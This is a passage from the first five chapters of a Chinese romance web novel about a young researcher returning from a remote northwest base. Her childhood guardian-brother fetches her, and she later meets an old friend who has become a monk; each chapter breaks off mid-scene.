《那位白月光回来了》 1. 第一章 《那位白月光回来了》全本免费阅读 陇原,出卜沟村。 黄土垒成高坡,山石贫瘠干涸,烈日灼晒,黄土地发裂,人一走过,脚底下带起阵阵尘土飞扬。 进山的沟道中两台越野车在缓慢前进。 坎坷山路中汽车发动机的嗡鸣与爬坡的“咂咂”声渐行渐远。 灰色牧马人的挡风玻璃布了一层薄薄的黄沙灰尘,山道颠簸,放在箱盒里的矿泉水翻倒了,随着车内噪耳的摇滚乐骨碌碌地荡来滚去。 黑色酷路泽紧跟前车的尾巴,压过辙痕,在这荒原里留下两道深印。 透过车窗,能看见里面是个戴着无框墨镜的英俊男人。车内极静,他肩背舒展挺拔,映在黑色玻璃窗中的面容沉静。握着方向盘的修长指骨处有一枚白银状的素圈戒指,设计很朴实,在那骨节分明的手上却透出几分低调的矜贵气。 手机“叮”一声响,男人侧头看去,消息预览里有一条运营商发来的短信: 如意陇原欢迎您!入陇请您多注意…… 阳光透过玻璃窗打在他硬挺的眉骨上,他侧头道:“小卡,联系妹妹。” 车载智能屏亮起,音波浮动,清脆的少年音道:“好的,马上为您联系妹妹。” 漫长的通话音响起,无人接通的45秒后通话自动挂断。 车内短暂沉寂片刻,男人道:“小卡,发条消息问......” 话音渐顿,他薄唇微阖。车过山壁,料峭山石遮盖烈阳,在他身上压下沉甸甸的黑影。 蓝色小球浮动跳跃了片刻,声音清越道:“为您发送短信给妹妹,内容如下:刚刚打给你的电话没有接通,看到消息后请及时回电。” “不,”他叫停,低沉的声音显得有几分犹豫,“不用发了。” 小蓝球又跳动了几下,像个摸不着头脑的小孩,应道:“好的。” 智能助手的声音刚停,对讲机“滋滋”几声,传来向导断断续续的说话声。 年轻男人口音带着方言腔调,鼻音浓重,说他们开过的这个地方流传着一句俗话,“晴路难行,雨天没有路”。 晴天道路崎岖,沙石堆垒,一旦下雨,进出村庄的必经山道会被积水淹没,两侧岩壁化为瀑布,奔涌的流水冲撞出一条河道。水流汇集进入水库,等到蓄水满了,水库放水又进入大坝,流入千家万户。 他自顾自地说了半天都没有听到对面的回应。 枯燥的行程里只有前后两车作伴。向导耐不住无聊,绞尽脑汁想和后车的男人唠嗑:“老板,这边的村民都已经转移去县城里了,您来这边是要做什么啊?” 被称为老板的男人语气温和却只答了简单三个字:“我找人。” “这样…” 聊天到这又戛然而止了。 对讲机静了,那向导窘迫地收音。呵了会儿,心里直犯嘀咕。 他也算得上见多识广了,但今天带的这位老板,他猜不明白他的来意。 这边的村庄原住民都已经迁出了,进这山沟里找人?找谁? 他心里头多少有点犯怵,话音也渐渐落了下去。 车辆穿过深邃的沟道,过了最后一道“关隘”,狭窄的山道像折扇般豁然打开。朝着山道左侧盘旋的村路往上走,空荡的路道旁多了一块面目全非的大立石,隐约瞧得出原本有几个字,写着辨不清的某某某村。 导游小哥的声音从对讲机里传出来:“从这里开始就进出卜沟村了,老板,你要找的人在哪里等啊?” 他自己说着说着,声音没了。 只见蜿蜒曲折的村道上停着一辆路虎,车身已经脏得算“作古”,和这贫瘠的小山村依然格格不入。 那小哥又问:“老板,是前面那辆车了吗?” “嗯。”对讲机里传出话音,“按喇叭。” 尖锐刺耳的喇叭声响了两声。 整个村庄死寂般却没有任何的回响。 庄谌霁看向手机,网络信号依然是“E”。 环顾周遭,一片破落荒芜。别说人,连活物都瞧不着。 他关了发动机,解开安全带,索性下了车。 车门甩上,他走到那辆刚“出土”的路虎旁蹲身看了眼车牌,是军区的车牌。 “老板,打电话能联系上你朋友吗?”导游小哥探头问,也瞧见了那车牌,瞪圆了眼,倒呵一口气,“老板,你这朋友是部队的?” 正说着,那路虎挨着的一道院门开了。先露面的是个短胡须,体型中等的男人,穿着一件条纹短袖和军绿色运动裤,不像是村里的村民。他先警惕地打量了庄谌霁和那年轻小导游一会儿,从他们穿着上判断出应该不是本地人。 庄谌霁起身,问:“研究队的?” 邓志行恍然大悟,指着庄谌霁问:“庄哥,来接人的?” 庄谌霁顿了顿,不大认为自己年龄比对方要大,但也没否认,直接问:“露露在吗?” 门被拉开,邓志行扭头朝着里面喊了一嗓子:“小露,接你的人来了!” 不待邓志行再和对方寒暄几声,男人率先侧身越过他,快步走进了院里。 几近荒芜的村庄里收拾出一户勉强能住人的小平房,墙沿已经长出了一片杂草。一扇门推开,又冒出个胖脸的男生。 庄谌霁再往里瞧,看见三个人坐在土炕上,两个男人都准备下炕了,坐在最中间的姑娘下巴瘦尖,一头利落垂肩短发,曲腿坐着,还在抓牌,抬起清亮的眼睛看向门外,撞进了男人沉静深邃的眼里。 那冲击不亚于精致的水晶琉璃瓶砸地,“哐当”一声成了个破落的橡木碗。 几乎没敢认,五年前白白净净又娇憨的小姑娘黑了,也瘦了,挺直的脖颈细瘦得只剩骨头,形销骨立地支着那脏旧的衣服。 庄谌霁的脚步生生顿在门口。 宁瑰露的意外不比他少,用了整一分钟才从分辨出来人。 记得五年前她离开时,庄谌霁来机场送她。那年他生了一场病,大抵病得很严重,住了很久的院,走路也缓慢费劲,撑着一根银质的手杖,单薄瘦癯的肩支着一身黑西装,深邃的目光沉沉落在她身上,仿佛她去的不是西北,而是某个刀山火海。 他那时未尽的话都藏在欲言又止的晦暗眸光里。 他代宁江艇行使“哥哥”的责任已有逾十年,就像宁瑰露时常忘记他并不是自己亲哥一样,大概他也常常忘记了宁瑰露不是他亲生的妹妹。 如今再见,他健壮了许多,手臂上的青筋沿着小臂攀援至上臂挽起的袖口底,看得出元气养回来了。 他今天瞧着还颇有些年轻,一件灰绿色的卫衣,一条浅色工装裤。 就是他大学的时候,宁瑰露都没见他穿这样年轻过。 手一顿,将抓好的牌往桌上一敲,“嗵、嗵”两声响,头一侧,她先弯眼笑着打破僵持:“谌霁哥,不认识我了?” 男人好像才后知后觉回过神,缓缓地开口,声音极沉:“瘦了。” 宁瑰露撸起袖子露出胳膊掐了掐,“也还好吧,没比以前瘦多少。” “在这里住了几天了?” 宁瑰露将头转向同行人,“一天半?” 丁新思回答:“一天。” “喔,那就一天。” “怎么不提前叫我来接你?”庄谌霁环顾这黑黢黢的小平房,“这里怎么住人?” “基地不能外联,出了基地又没信号了。我们到了附近才找到近的信号塔。”宁瑰露又回答他后一个问题,“我晚上睡车里,他们几个在房子里挤挤。” 下了塌的中年男人先伸手,“您好您好,我是赵传。” “这是我们副队长。”宁瑰露补充。 庄谌霁同他握了一下,点头道:“庄谌霁。” 松开手,他又看向另一边的瘦高男人。丁新思主动抬手和他握了一下,“庄哥好,我姓丁,丁新思,您叫我小丁就好。” 对方看起来并不比他小多少,庄谌霁神情微妙,他看向宁瑰露。对上的是她左顾右盼的目光。 他无声妥协,沉着脸点头:“嗯,小丁。” 这一声让丁新思想起基地政委找他谈话时那沉郁的口吻,让人无端感觉压力。明明对面是个年轻英俊的男人,至多三十出头,气度却沉练如山,像是上级领导来视察工作了,让人不由紧张。他心惊,感慨宁瑰露的家境圈子果然都不一般。 和一圈人简单打过招呼,庄谌霁让要走的几位将行李都先拿上车。 每人一个行李箱,正好塞满一辆车的后备箱。 在宁瑰露要上前车副驾驶的时候,庄谌霁 2. 第二章 《那位白月光回来了》全本免费阅读 下了山没多久,炽阳就被浓重的乌云遮盖,狂风忽起,呼沙卷石。 对讲机“咂咂”的噪音响了几声,又断断续续传出向导小哥的大嗓门:“老板,这看着像是要下大雨了,往前开五十公里有个县城,叫平安县,如果雨大我们就先去那边歇一阵,等雨停了再走。” “可以。” 宁瑰露先是假寐,不知不觉就睡过去了。醒过来时车正疾驰在公路上,窗外是如箭般斜射而来扑打在车窗上的大雨。 “我们到哪了?”她声音略有些沙哑。 “快到一个县城了,还有几公里。冷不冷?” “不冷,这么热的天,终于有雨了。” 宁瑰露坐起了一点,感觉到身上什么在往下滑。她低头一看发现他的外套正盖在她身上。 “你的?谢了。” 对她的客气,庄谌霁没有回答。 没听到回应,宁瑰露也不尴尬。她动了动有些发麻的腿,弯腰揉了揉小腿,又打了个哈欠,“最近这几天没怎么睡好,等到家我要先睡上三天,可别叫我起来。” 他语气又松了,尾音略略上扬:“嗯。” 这冷淡的态度却让宁瑰露感到久违的亲切。若是别人这样的寡淡冰冷,宁瑰露真是懒得再搭理,但是庄谌霁就太正常了,他就是这样的性格,十几年如一日,对谁都一样。 她眯着眼睛看他,从流畅的脸部轮廓弧度打量到挺拔悍利的身形,“谌霁哥,你身体都好了?” 他握着方向盘的指节动了动,又“嗯”了一声。 “怎么这么多年,你一点都没变呀?” “你也是。”他说。 刚见面时觉得她变化太大,可简单几句话后那滚烫的熟悉感又回来了。 无论外在怎么变,她的内里始终如一。 充满生命力的鲜活。 这比什么都重要。 他三个字不知道哪里戳中了宁瑰露哪个笑点,她“咯咯”笑了好一会儿。 车穿过雨幕,过了最浓稠的那片乌云,密布的雨丝渐渐小了,只是天光依然暗淡,公路上隐隐还起了点雾。 几个男人决定还是先去县城修整一晚,明天再回市里。 小县城的酒店没有很好的条件,车停在了地下停车库,大家商量着等雨停了出去找点东西吃。 宁瑰露越睡越困,这会儿只想沾床就睡。亦步亦趋地跟在庄谌霁的身后,背后灵似的。 在庄谌霁开房的时候,宁瑰露支着下颚在一旁打哈欠。 其他人倒是都精神奕奕,向导很健谈,其他人也跟着滔滔不绝地唠嗑唠个没停。 “露露,身份证。” 庄谌霁向她伸手。 宁瑰露拉开包链,找出了身份证递给他。 她的身份证还很新。庄谌霁注意了下日期,发现身份证是今年办的,照片里的宁瑰露一头齐颌短发,皮肤白皙清透,飞扬的眉弓神采奕奕。 宁瑰露探过头来看他手里的自己的证件照,得意洋洋道:“我短发好看吧?” 庄谌霁将身份证递给前台,“怎么剪短发了?” “嫌烦,不好打理。” “身份证是回家办的?” “不是,基地统一办的,我还让勤务员帮我P白点呢,好看吧?” “嗯。” 对他敷衍的回答,宁瑰露撇撇嘴,心道真没审美水平。 收了房卡,一众人各找了个房间休息。 庄谌霁房间就在宁瑰露旁边,不待他做交代,宁瑰露就麻溜刷卡进门准备睡了。 她将鞋跟一踩,甩到一侧,将包一扔,扑到了床上。 男人失笑,手停在门外,顿了顿又落下了,进了另一扇门。 门一推,一股积久的沉闷纺织品味和洗手间经久的异味就涌了上来。 庄谌霁打开灯,环顾了下室内。 尽管宣称是当地最好的酒店,但装潢依然简单到一览无余。 靠窗处摆着一张沙发和茶台,床上泛着黄渍的白被子还盖着条花色简单的黄色的床尾巾,四个高矮胖瘦各不同的枕头。 庄谌霁眉峰抽动了两下,缓步走到了窗边,单手插兜静默地看了会儿连绵不绝的雨。 右手拇指不自觉摩挲中指处的戒指。 触感冰凉,像是信徒拨动手中的佛珠。 雨声像白噪音的催眠曲。 宁瑰露睡得太快太急,囫囵做了个梦。 梦里也是一个潮湿的雨天,初夏的蔷薇花沿着满墙开了。院子屋檐很长,支出一块小凉棚,宁瑰露夏天喜欢躺在屋门口的凉席上睡。 外婆会用果盘摆上西瓜和杨梅放她身边。 梦里她也睡得很沉。 隐隐约约感觉有人在给自己盖被子。 她掀开一道眼帘,看见了一张熟悉的清隽面孔。 “哥。”她咕哝一声。 “嗯。”宁江艇应她,“再睡会儿吧。” 西瓜的清香太馋人,她转了个身,对向另一边,看见有个背影坐在屋檐处,正弓着腰吃西瓜。 少年后颈有一处骨节微凸,混纺面料的校服上衣有些潮湿的水汽,看得出淋过一场雨。 宁瑰露像条懒怠的蛇一样地挪着双腿爬过去,悄无生意地把额头抵在了对方的后脖颈上。 正在吃西瓜的少年被温凉的体温一贴,呛住了,咳了个撕心裂肺。 宁江艇从旁抬手拍了她小腿一下,“你是蛇啊?睡没睡相。” 宁瑰露抬起头,下巴支在少年肩上,咕哝不清地说:“我也想吃西瓜。” 少年有点为难,“这块我吃过了,我去给你切?” “我不管,我现在就要吃。” 她又低下头,脸颊顺着少年肩膀下滑,像流状液体般滑到了地上,要顺着凉席的缝滑出去,和这潮湿的雨淌到一块了。 她转了个身,睁开眼睛看着屋檐,又伸腿将小腿搁在了宁江艇的双膝上。 宁江艇气笑:“宁瑰露,你十多岁了,不是小孩子了,能不能注意点男女有别?” 她又闭了闭眼睛咕哝,“你不就是比我多了块肉吗,有什么的。” 宁江艇将她掀起一角的裙摆往下拉了拉,“你真了不得了。” 被掰开的西瓜清脆地响了一声,少年将西瓜放到了她脸侧。 宁瑰露懒懒转头,张嘴示意要喂。 宁江艇看不过去了,拍了她一下,“惯的你!衣来伸手,饭来张口!” 少年清脆的声音带着笑说:“没关系,妹妹还小。” 宁瑰露总算坐起来了,拿起自己咬过的那块西瓜盘腿咬了一大口。 扎起的丸子头散了,发丝垂乱,鼓起的脸颊像仓鼠颊囊一样一动一动的。 向远眺望。细腻的雨丝连绵不绝,密云的山拢着烟云,四面环绕,一望无际。 那一方屋檐下,尚且年轻的少年少女盘腿坐着,捧着井水里冰过的脆红西瓜大口大口啃着,酣畅淋漓。 记忆里再没有过那样潮湿而又凉爽的夏天。 宁瑰露睁开眼睛时一时分不清自己到底身处何境。 愣了个七八分钟,她爬下床,无头苍蝇一样转了一圈,找不着手机放哪了。 她拉开门,走到隔壁敲了两下门。 门很快开了。 她先直截问:“我手机在你那吗?” “手机?没有。” 宁瑰露揉了一把脸颊,“我手机找不着了。” “是不是在包里?”庄谌霁问。 宁瑰露移开身,示意他过去,“不在,你过来找。” 庄谌霁跟着她进了房间,发现她灯还没开,便按亮了灯。 灯一亮,被子上压下去的大字型人形轮廓就出现在了庄谌霁眼前。 他有些一言难尽,“你就这么睡的?” “困了,沾床就睡了。”宁瑰露坐到了床上,拿过了包,将包里的东西都倒在了床上,“我都找了,没看到我手机。” 乱七八糟的口罩、充电宝、发绳、耳机、纸巾...倒了满床。 庄谌霁弯腰给她将东西拾起收回包里,安抚道:“别着急,可能是落车上了。” “对哦。走,去车上找找。” 她拽住了庄谌霁的胳膊往外走。 庄谌霁被她拽了出去,出门前顺手抽出了她的房卡,拉上了门。 到了地下停车场,庄谌霁给她翻了一遍副驾驶,果然在夹缝处摸出了她滑落的手机。 手套箱还打开着。在宁瑰露检查手机有没有摔坏的时候,庄谌霁拿出那瓶不知道装了什么物质的瓶子,问宁瑰露:“这是什么?” “骨灰。” “…嗯?” “基地有条小狗,本来是后勤带来冬天做火锅的,大家觉得挺可怜的,就去求基地政委年夜饭不吃狗肉火锅了。” 庄谌霁眉宇动了动,“然后呢?” “撞电网上,死了,焦焦的,香得大家到处闻。” 大抵是这个“欧亨利”式的结尾有些太无厘头,庄谌霁无言以对的神情看起来很将信将疑。 宁瑰露懒懒散散:“真的,我骗你做什么。” 庄谌霁在沉默片刻后询问:“那要不要换个装的盒子?” “不用,瓶子挺好的,小巧又便携,还可回收。” 她从他手上拿过装着粉末状物质的瓶子又轻扔回了手套箱里,合上了箱子。 某人眼尾轻轻抽了抽,然后“嗯”了一声,“饿不饿,要不要出去吃点东西?” 宁瑰露问:“你吃过了吗?” “还没有。” “那去吃牛肉面吧。”她做了决定。 陇原的牛肉面是全国一绝,出了陇原,外面大大小小号称正宗牛肉面都没有这个味了。这种当地特色找苍蝇馆子比大都市里的更地道。 庄谌霁开车带着宁瑰露找了家店面看起来洁净的牛肉面馆子解决晚餐。 “老板,两碗牛肉面,两个馍。”她进店吆喝了一声。 老板应了一声,示意二维码在墙上,扫码付款。 宁瑰露盯着二维码愣了好一会儿。 旁边伸过了一只手先扫了码付了款,又问宁瑰露:“喝 3. 第三章 《那位白月光回来了》全本免费阅读 在基地那不毛之地待久了,进了嘈杂纷乱的菜市场都感觉是进城了。 宁瑰露新奇地左瞧右逛,步伐又快,特种兵般猪突猛进。庄谌霁停车慢了一步,一转头就瞧不见人了。 他倒抽了口气。 “老板,这怎么卖啊?” 宁瑰露弯腰对着摊面上的圆镜照了照头顶的宽沿草帽。 小贩操着不流利的普通话说:“20。美女,你戴着好看,买一顶吧。” “10块。”她一刀砍掉二分之一。 “不中,这进价都八九块了!” 她开口还要“你来我往”几句,身边“滴”一声,庄谌霁问:“怎么想买帽子了?” 他扫码,她微抬的下颌向他示意:好看么? 他扫一眼,又错开目光。垂下的眼睑无波无澜,语气也平淡:“好看。” “15块,不行拉倒!”宁瑰露作势要摘帽子。 “好好好,15就15!” 宁瑰露一拍庄谌霁后腰:“付钱。” 男人直了直腰,目光宽和又无奈。 在“微信收款15元”的提示音里,他一亮页面道一声“付了”拔足跟上这两三秒又蹿出去几米远的宁瑰露。 “庄谌霁。” 她握着一个黄里透红的小杏一抛,问他:“吃杏子吗?” 他接住她抛来的杏子,尝了一口,酸得对称的浓眉拧成了一块,“酸。” “这叫酸杏,健脾开胃,你再尝两口。” 庄谌霁舌尖抵了抵酸得发软的牙龈,矜持而含蓄地看着她,脸上写着拒绝两个大字。 宁瑰露敲敲摊面:“称半斤,谢谢您。” 庄谌霁拎上红袋子装着的半斤酸杏,跟着她继续往市场里走。 过了两侧齐整的路边摊,再往里是条服装街,定位顾客大概是中老年,摆出来的服装一水的深红深褐,款式也是老式的手工制样,矮领、无领、尖领。棉布做的裙子,样式虽过时,摸着手感却软。 她走一路摸一路。庄谌霁觉得那裙子丑,没吭声问她要不要买,怕一问她就真去试衣服了。 现在已经是入夏的时节,市场的小服装店也拿出了夏季款的连衣裙。 庄谌霁生出一种时空颠乱的错觉,在这一块窄旧的巷子里,管中窥豹地瞧见了数十年前的光阴。 宁瑰露摸中了一条白色背心,指腹在棉质的背心上搓了又搓。 她摘下衣架探身向店里问:“老板,这个多少钱?” 庄谌霁悬着的心终于吊死了。神色不显,目光嫌弃地在那老头背心上打个转,心想还不如看上花红柳绿的连衣裙。 “20!”老板说。 宁瑰露摘下衣架,给他撂下两个字:“付钱。” 老板走出来,问她:“美女,你穿还是他穿,要不要拿个大点的码?” “那拿件新的吧。”宁瑰露把摘下的老头背心又挂上衣架。 趁着老板去翻库存的时间,宁瑰露背着手,老干部似地走进了那窄小的店面里,抬着头打量挂在墙上的衣服。 庄谌霁站在门口,不愿意往里踏足。 顶级的奢侈品牌也要将衣服和图册送到他面前来挑选,再由世界级的设计师上门量体裁衣。 就是最窘迫的时候也没有穿过这样的衣服。 “谌霁哥。” 庄谌霁一听到她叫他,就觉有幺蛾子。他站在店面外负手向里看去。 宁瑰露指着一身老式男西装道:“你来试试。” 庄谌霁:“......” 系着皮质围身裙的裁缝拿着宁瑰露要的背心走出来,见她瞧中了等身模特上的西装,介绍道:“这套是镇店之宝,以前在我们这块男的都来我这买西装,一般人我都不给他做了。” 庄谌霁神色不动,但双腿像敲了钉子,宁死不肯往里迈一步。宁瑰露招招手:“你过来啊!” 见他不动,她走回去拽着他胳膊把他生拉硬拽进了店里:“试试呀,这店又不会把你吃了。” “这帅哥身材太标准了。来试试,不合身我现在就给你改。”老板说着就摘下了模特身上的衣服,将西装咸菜棒子一样一齐塞到了庄谌霁怀里,指向换衣间,“那边换衣服。” “挺好的,不用改了。包下吧。” 庄谌霁心里说,回家就扔旧衣回收。 “去试试!”宁瑰露把他攘进了换衣间,一把拉上了帘子。 光线一暗。庄谌霁看看手里的“西装”,苦笑着拉下了外套拉链。 宁瑰露和老板打了声招呼:“老板,你看着他别跑了,我去旁边逛逛。” 帘子拉开了一线,庄谌霁追问:“去哪?” 她一摆手:“隔壁!” 庄谌霁拎着西装外套走出来,正要往外去找人,老板一拍大腿“噢哟”一声,掐了烟,围上来又是称赞又是自得道:“不得了,这衣服和给你定制的一样,别人穿着还有点大了,你穿着么,正正好。” 老板直接上手给他围了一圈腰身,“就是这腰瘦了点,我给你改改。” 庄谌霁让不过,只能抬手皱着眉头让他量了一圈。 老板低头自言自语:“还不到二尺二,这腰咋恁瘦呢?” “老板,她去哪了?” “你说刚刚那小姑娘啊,就在隔壁看裙子呢。别怕啊,你老婆没跑。” 老板调侃了一句。 庄谌霁往外望眼欲穿的目光霎时收了回来,低声说:“不是。” 不是什么?他没有说完。 宁瑰露将草帽做扇,扇着风走回来时,老板已经和庄谌霁聊上了。 老板说:“往后走,有个大祠堂,那里游客多,前几年还有电视台的来拍节目。你穿着我这衣服去玩啊,包你好看。” 庄谌霁的目光落在了宁瑰露身上。她换了身过膝的碎花裙,像80年代的风格,一整块的紫色碎花衬得她那晒成小麦色的皮肤都白了。 “哎呦哎呦,真登对!”老板夸张道,“我在这里这么多年了,就没见过这么俊的人!” 宁瑰露打量着庄谌霁身上那套宽松阔 4. 第四章 《那位白月光回来了》全本免费阅读 抵达泾市已是一天后,人困马乏。 和庄公馆的管家及保姆阿姨打了个照面,吃过午饭后宁瑰露回房倒头就睡。 这一觉睡到了第二天早上。 醒来时感觉脸颊旁湿湿的,她擦擦唇,发现睡得太熟,竟然连什么时候淌了一枕头口水都不知道。 近三十岁的人,还干出这样的事来实在有失颜面。 宁瑰露睡不着了,爬起来拆了枕套、枕芯,想着拿下去烘干。 时间尚早,不到七点。她胳膊肘夹着枕芯,打算静悄悄把这没面子的事做了。谁料走到楼下,却瞧见庄谌霁已在餐桌旁就坐,一大早就在品茶看书。 她掉头就想往回走。庄谌霁已经听到了动静,先她一步道:“早。” “早。” 躲不过,她转回头,光明正大往洗衣房去。 洗衣房是后.庭独立出来的一间阳光房,组合的四台洗衣机及烘干机做了遮阳设计。鉴于晒衣服一行为的多有益处,虽有烘干机,房内依然做了两根极简的晾衣丝,丝上晾着那套不入流的乡镇西服、紫色连衣裙和白色背心。 今日大晴,清晨雾气消弭,烁眼的阳光倾洒,透过玻璃房的折射在地面上打出一片洁白的光影。 房子里有柔顺剂的清香,风从敞开的折叠推拉门外吹进来,吹得晾晒的衣物“哗哗”作响。 处理家务的阿姨瞧见她在琢磨烘干机的功能,走进来问:“宁小姐,是要洗什么吗?” 声音透过后院的窗传进来。庄谌霁的心思已经不在《通信技术》杂志里。 他放下茶杯,攥着杂志握在身后,缓步往后院去。 宁瑰露睁眼说瞎话:“昨晚太热,枕头捂湿了,换下来洗一下。” 阿姨有所迟疑:“可是昨晚,开了空调的呀。” 宁瑰露说:“我睡前关了。” 阿姨还是从她手上争过活:“宁小姐,你放着我来收拾就好。这些事怎么能让你来做呢?” “那麻烦了啊。” 宁瑰露打算去吃早餐,一回头发现庄谌霁站在门口看着她。 在他开口问之前她先倒打一耙:“你们泾市太热了,还没有在西北凉快。” 他略有无奈:“那是高原,这里是沿海。” 她决定翻过这页,一挥手:“今天早上吃什么?” 他矜持地娓娓道来:“班尼迪克蛋配龙虾尾,松露煎蛋卷配黑松露,可颂三明治牛排和一盅金骏眉。” 宁瑰露眉头一拧,不知道他在说什么鸟语:“能说点人听得懂的吗?” 他矜持地忍下了一个白眼:“鸡蛋松饼,蛋卷,牛肉和茶。” 宁瑰露落座,体验了番资本家的腐朽生活方式,尝完后的感受是“嘴巴里淡出鸟来了”。 她把“班尼迪克蛋配龙虾尾”的鸡蛋松饼囫囵吃完,抽了张纸擦了擦手,问:“有面吗?” “宁小姐要吃什么口味的面?”厨师出来问。 “您会做打卤面吗?” 厨师面露为难。 “揪片儿呢?” 厨师无助地望向庄先生。 宁瑰露叹气:“那就清汤面,卧个煎蛋,给您添麻烦了。” “您客气。”厨师忙回了厨房下面。 管家递来了一杯茶。茶面上飘着一点茶毫。 宁瑰露吹了吹,尝了一口。上好的金骏眉,甜里透香,入口回甘。她啧叹一声,神清气爽。 “你今天不忙?”她看向庄谌霁。 他手里还捏着那本杂志,已经半晌没有翻动,待她看过去,他目光才不紧不慢落在书页上,慢条斯理翻过一页:“九点去公司。” “年纪大了果然起得早。”她啧啧。 庄谌霁说:“年纪小的七点也起不来。” 他回敬了个彼此彼此。 宁瑰露分辩一二:“我是昨天中午睡的。” 他道:“我也是。” 不分伯仲,鸣金收兵,短暂休战。 “今天有安排吗?”他问。 她说:“去见个朋友。” “我认识?” 他倚靠着椅背,手上杂志又潦草翻过一页。 “认识。” “谁?” 宁瑰露吹吹茶汤:“私人安排,不便透露。” 他一哂,“那晚上在家吃还是在外吃?” “看情况,不回来的话会和你说。” 他的目光还停留在第一行文字,“好。” 宁瑰露和人约了午餐,比庄谌霁慢一个钟头出门。 午餐位置是对方定的。离市区有点儿远,靠山,一个私人的山庄会所。 她从地库里挑了台车。怕要上山路,开的是边缘那辆要落灰的宾利添越,SUV的车型,空间大,视野也开阔。 司机在方向盘边放了个吸盘的手机支架,她正好用上。 还没出市区,手机就亮了。 庄谌霁发来条消息:“出门了?” 等红灯间隙,她回了个简单明了的“√”。 庄:“注意安全。” 豪车就是不一样,开起来都格外顺手。宁瑰露在基地里只摸过大排量的越野车和卡车,方向盘很重,低速转弯时阻力感强,她开着总有点不得劲。 心情一好,她想,今晚还是回去吃吧。 泾市的路况比基地好了不止一点,郊区大路也宽敞平整。 进山庄的路两侧整齐排列着茂盛的栾树。秋季到了,想必这条路美不胜收。 车开进山庄的车库。 她发了条消息给约的人:“我到了。” 那边回复:“湖光阁。” 应当是包厢名字。 曲径通幽处,穿过小石重叠的小路,顺着服务生的指引,到了人工湖边的一座小楼。 从楼外扶梯上二楼,穿过竹帘,她要见的人此刻正站在扶栏处俯视光影错落的湖水假山。 她赞叹一声:“风景倒是好。” 等客侧过身。 男人穿着一件亚麻色的盘扣上衣,黑色长裤尽显腿长,肩宽背挺,眉目内敛沉静,微漾的目光紧盯在她身上。 好一个俊俏儒雅的翩翩公子。 可惜有人眼盲心瞎,一番美色付流水。 宁瑰露的视线却在他脑袋上打了个转,按捺住该死的好奇心,态度亲近,像对关系不错的老友打招呼:“好久不见,又变帅了啊。” 他说:“你头发剪了。” 宁瑰露就纳闷,怎么一见面关注点都在她头发短长上。她是剪短了,但怎么也不比剃光了更引人惊奇吧? 她客气道:“彼此彼此。” 对方无言以对。 “点菜了吗?”她拉开椅子坐下。 “我茹素,你来点单。” 他走近,叩叩桌面点单器。 时间尚早,不急着直奔主题。宁瑰露点开平板看了看菜,问他:“你吃哪种素啊?纯素还是能接受锅边素。” 他略有犹豫。 宁瑰露善解人意地做了决定:“斋戒是吧?那就纯素。” “你可以点些别的。”他说。 “肉要一块吃才有意思,你看着我吃还有什么意思。免得馋你。” 他扯了下唇角:“不会。” 既然吃素,那挑什么都相差不大。宁瑰露划拉了一下平板,点好了五菜一汤。 “你之前没来这吃过?”她问。 “来过。” “那怎么不推荐几个菜?” “你嘴挑,我怕你不会喜欢。” 这话说得有些太亲昵了。宁瑰露抬眼看他。 他举起茶杯抿了口没滋没味的柠檬茶,有些仓促地欲盖弥彰。 她没顺着这句略显暧昧的话开句玩笑,转而问:“这几年过得怎么样?” “就那样,清清静静,挺好。” “我以为你至多一两年就会回去。” “怎会。守孝也要三年。”他笑了笑,俊挺的眉宇却 5. 第五章 《那位白月光回来了》全本免费阅读 “走吧,我送你回去。” 一顿饭没滋没味地吃完,宁瑰露去结了账。 张思珩神色淡漠地瞧着,真就靠着门框等着她去埋单。 不翻那些狗屁倒灶的往事,原本是故友重逢,高高兴兴吃顿饭,再潇潇洒洒各奔东西。谁让她又说错话,惹得化外之人都破五戒,动杀心,满身煞气,此刻鼻子不是鼻子,脸不是脸。 “车在这。”她按了车锁。 张思珩冷淡说:“我打车回去。” 宁瑰露看着他背过了身,但没往门口去。她说:“你要跟我假客气,那我真走了。” 他顿了顿,掉头拉开副驾驶门上了车。 车是宾利的,几百多万的价位。这样高调不是她的一贯作风。他心有疑惑,但此刻正冷战,不方便扯下脸来破冰。 宁瑰露上了车,系上安全带,好似知道他的疑问,随意答:“朋友的车,不是我的。” 他扭过头,冷声道:“和我有什么关系?” “我看你挺好奇。”她侧头看他一眼。 张思珩吃了枪药似的:“我好奇什么,你的事和我有什么关系?” 又被他呛了一句,宁瑰露也不是泥捏的脾气,不再搭理,打了把方向盘,从车位里开出去,掉头出门,上了公路。 车开了二十来分钟,张思珩才发觉方向不对:“这不是去高铁站的方向吧。” “我送你回鹿海。” 他脸色缓和了些,但语气还拗着:“一来一回三四个小时,用不着你送。” 宁瑰露握着方向盘,没有停车的意思,算是递个和好的台阶下:“顺路也看看这几年的城市变化。” “你宁大小姐镀金回来,这次是想升任市长了?” 宁瑰露缓缓踩下油门,宽阔公路上车速渐渐飙升。张思珩猛地后仰,一把抓住了扶手,闭嘴了。 车拐上主路,速度慢慢降了下去。她说:“你这清修光做表面工夫。修身不修心,费功而无益。” 好半响没听到身边的回应,她侧头看了眼。他侧过身环着胳膊,闭目假寐了。 一个多小时后,车开进了鹿海市的地界。听到导航声,张思珩睁开了眼。 “大师,给个具体位置。”见他醒了,宁瑰露说。 他报了个地址,松开环抱的手臂,沉默地看向窗外。 导航调整了方向,提醒她往前200米处掉头。 离目的地很近了。 他再开口,心情已经平复,“宁瑰露,你确定不说了么?” 他这话题可够跳跃的。宁瑰露想了想才明白他说的是她今天没讲的话。 “我要去机械工程部任职了,想问你还想不想回去读完博,继续你的研究。” 回应她的是清寥的沉默。意料之中。 宁瑰露不再提。 今日晴方好,踏青时节,游人如织,往来香客络绎不绝。 宁瑰露开了车窗,还不见山林隐逸中的红墙青瓦,先听闻到了梵音与檀香。 梵音靡靡,嘈嘈切切,倒徒然让人心静了下来。 上了山,车开至一座寺庙长阶下,算是“送佛送到西”。 张思珩推门下车,拉着副驾驶的门把手,却迟迟没有关上门。 宁瑰露扭头看他,投去两道疑问的目光。 他瞧着有些踌躇,好一会儿,弯下腰,透过窗框问她:“你要不要上来喝口茶?” 来路上那一阵阴不定晴不定的戾气此刻已全数收敛,纵开的眉宇清凌而得体,若是换上一身袈裟倒也能扮个出尘的化外子弟。 宁瑰露的目光从他俊丽的五官上移开,在梵音缭绕里四大皆空,摆手道:“我是党员,不进去打扰佛门清净了,走了。” 他没起身,固执说:“我给你外婆供了一盏长明灯。” 她没作反应,见他起身直接走,才喊了句:“关门!” 门被不轻不重地甩上。他三两步走上台阶,回了他的三十三重天清净地。 隔着一扇半开的黑木大门,隐约可窥庄严宝塔与绿意盎然的柳杉。 